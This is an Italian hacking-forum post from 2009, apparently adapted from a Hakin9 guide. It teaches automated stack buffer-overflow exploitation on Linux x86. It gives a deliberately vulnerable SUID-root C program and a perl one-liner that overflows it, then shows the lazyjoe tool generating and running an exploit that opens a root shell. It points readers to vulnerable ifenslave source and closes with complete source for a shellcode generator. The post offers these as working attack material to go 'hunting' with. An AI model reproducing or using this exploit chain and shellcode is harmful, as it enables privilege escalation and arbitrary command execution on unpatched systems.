admin Founder


Registrato: Oct 03, 2008 Messaggi: 261
|
Inviato: Gio Gen 15, 2009 9:58 pm Oggetto: Buffer Overflow:Ricerca Automatizzata Di Exploit su Linux X8 |
|
|
Innanzitutto una piccola introduzione al concetto di "buffer overflow", cos'è questo tipo di errore di programmazione?
E' un errore cosiddetto di "run time" ovvero che si veirifica solo quando un programma è in esecuzione, consiste come dice anche la parola "overflow" in un superamento non previsto della memoria allocata al buffer (altre "zone" di memorizzazione nella programmazione sono ad esempio heap, in quel caso si parleràdi heap overlow). Ciò è possibile ad esempio nel C, linguaggio compilato, dove non c'è un controllo da parte del compilatore per prevenire questo tipo di errore. Questa la definizione assolutamente grossolana del buffer overflow o heap overflow che sia (o anche stack overflow) quanto basta per capire il resto dell'articolo. Dato che il buffer overflow consiste in un "superamento" o meglio ad una sovrascrittura di una determinata area di memoria, manipolando i dati che vengno riscritti , grazie allo sfruttameno dell'errore, nel buffer è possibile far eseguire del codice aribitrario alla macchina come ad esempio dello shell code, ecco perchè questo tipo di errore è molto importante e pericoloso. Per fortuna esistono programmi in grado , a partire dal codice sorgente di un programma vulnerabile, di determinare se tale programma è affetto da buffer overfloe e in caso positivo di generare automaticamente un exploit per avviare una shell con privilegi di root (codice arbitrario in genere) Gli esempi che seguiranno sono tratti da una guida di Hakin9 dal nome di "Automating the explooitation process on Linux x86" , è necessaria una conoscenza minima di C nonchè una minima padronanza con sistemi GNU/Linux e comandi da shell.
Incominciamo con l'osservare il seguente codice
| Codice: | #include <string.h>
int main(int argc, char *argv[])
{
char a[256];
strcpy(a, argv[1]);
} |
Come si può notare la stringa
è la "colpevole" del buffer overflow in quanto dichiara una lunghezza pari a 256, quindi fissa, senza eseguire un controllo dell'input cioè per verificare se i dati immessi sono più grandi di 256. Se infatti ciò accadesse si ricadrebbe in un buffer overflow, a quel punto dato che il buffer overflow consiste in un traboccamento della memoria si potrebbe "versare" del codice arbitrario da far eseguire (come dello shell code). Ora compiliamo il listato che salveremo come vuln.c con i seguenti comandi e dopodichè impostiamo il bit SUID su root
| Codice: | $ gcc vuln.c -o vuln
$ su
# chown root.root vuln
# chmod +s vuln |
Una volta fatto ciò la guida riporta come esempio per testare la vulnerabilitàil seguente
| Codice: | | $ ./vuln `perl -e 'print("A"x300)'` |
[spoiler] [/spoiler]
ma si può usare qualsiasi stringa in cui viene assegnato al programma un argomento più grande del buffer.
Di seguito troverete il sorgente di lazyjoe, prorammino che effetueràautomaticamente un analisi sul programma di cui vogliamo testare possibili vulnerabilitàa buffer overflow; il sorgente del programma lo potete vedere su http://rafb.net/p/6UY0Vd81.html
Una volta copiato il sorgente e salvato come lazyjoe.c diamo il comando per la compilazione
| Codice: | | $ gcc lazyjoe.c -o lazyjoe |
Per eseguire lazyjoe e fargli controllare se il programma vuln è vulnerabile a buffer overflow e , in caso affermativo di crare da solo un exploit, basta lanciare
| Codice: | | ./lazyjoe -e ./vuln -o vuln_exploit |
[spoiler]
[/spoiler]
Successo. Il programma ha trovato la vulnerabilitàdi buffer overflow e ha creato un exploit per sfruttarla.. L'opzione -e indica quale programma lazyjoe deve controllare mentre -o indica in caso di successo con quale nome si salveràl'exploit generato dal programma.
Ma vediamo nel dettaglio l'output:
| Codice: | Fast checking assumes buffer is vulnerable - il primo veloce tentativo ha confermato che il programma è vulnerabile al buffer overlow
Starting detailed test - è iniziato il tentativo stesso, preciso
Binary seems to be vulnerable at argument 1 - il preciso tentativo ha confermato che il programma è vulnerabile al buffer overlow quando gli viene fornito il primo argomento di adeguata lunghezza
Magic distance found to be 260 - la distanza dall'inizio del buffer all'indirizzo di ritorno dalla funzione salvato ammonta a 260 byte
Exploit code vuln_exploit1.c written successfully - il codice dell'exploit generato è stato salvato al file vuln_exploit1. |
Bene ora provvediamo alla compilazione ed esecuzione dell'exploit
| Codice: | $ gcc vuln_exploit1.c -o vuln_exploit
$ ./vuln_exploit |
[spoiler] [/spoiler]
Ha funzionato! Questo vuol dire che siamo riusciti ad avviare una shell di root anche se da normali utenti.. Proviamo per fare la prova del nove con un
[spoiler]
[/spoiler]
Funziona davvero!
Per fare delle prove potete utilizzare il codice sorgente del programma ifenslave che alla versione 0.7 era vulnerabile a questo tipo di attacco, lo potete trovare su http://nopaste.com/p/asCBMWcNeb
Buona caccia all'exploit!
P.S: aggiungo che ormai i rischi di un buffer overflow sono molto contenuti e che come si può vedere anche da questa guida è relativamente semplice andarne alla ricerca, nonostante ciò specie su un sistema non aggiornato può rappresentare ancora molti rischi e spesso è un problema sottovalutato..
P.S.P.S: aggiungo in spoiler per una maggiore dose di "smanettamento" un generatore di shell code in modo tale da personalizzare il comportamento dell'exploit... [spoiler]/*
* BlackLight's shellcode generator for Linux x86
* NULL-free version
*
* Usage: ./generator <cmd>
* (C)2008 by BlackLight <blacklight[at]autistici.org>
* Released under GPL v.3 licence
*
* Greetz to: evilsocket, for the idea he gave me
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char code[] =
"\\x60" /*pusha*/
"\\x31\\xc0" /*xor %eax,%eax*/
"\\x31\\xd2" /*xor %edx,%edx*/
"\\xb0\\x0b" /*mov $0xb,%al*/
"\\x52" /*push %edx*/
"\\x68\\x6e\\x2f\\x73\\x68" /*push $0x68732f6e*/
"\\x68\\x2f\\x2f\\x62\\x69" /*push $0x69622f2f*/
"\\x89\\xe3" /*mov %esp,%ebx*/
"\\x52" /*push %edx*/
"\\x68\\x2d\\x63\\x63\\x63" /*push $0x6363632d*/
"\\x89\\xe1" /*mov %esp,%ecx*/
"\\x52" /*push %edx*/
"\\xeb\\x07" /*jmp 804839a <cmd>*/
"\\x51" /*push %ecx*/
"\\x53" /*push %ebx*/
"\\x89\\xe1" /*mov %esp,%ecx*/
"\\xcd\\x80" /*int $0x80*/
"\\x61" /*popa*/
"\\xe8\\xf4\\xff\\xff\\xff" /*call 8048393 <l1>*/;
int main (int argc, char **argv) {
int i,len=0;
char *shell,*cmd;
if (!argv[1])
exit(1);
for (i=1; i<argc; i++)
len += strlen(argv[i]);
len += argc;
cmd = (char*) malloc(len);
for (i=1; i<argc; i++) {
strcat (cmd,argv[i]);
strcat (cmd,"\x20");
}
cmd[strlen(cmd)-1]=0;
shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );
memcpy (shell,code,sizeof(code));
for (i=0; i<strlen(cmd); i++)
sprintf (shell,"%ÂÂs\\x%.2x",shell,cmd[i]);
printf ("%ÂÂs\n",shell);
}[/spoiler]
fonte: d3vilc0de _________________ D3vil-C0de Crew => http://d3vilc0de.org
My Spaces => http://kinginfet.135.it
My Tool Cracker => http://totalcracker.135.it
My Dj Site => http://djkinginfet.135.it |
|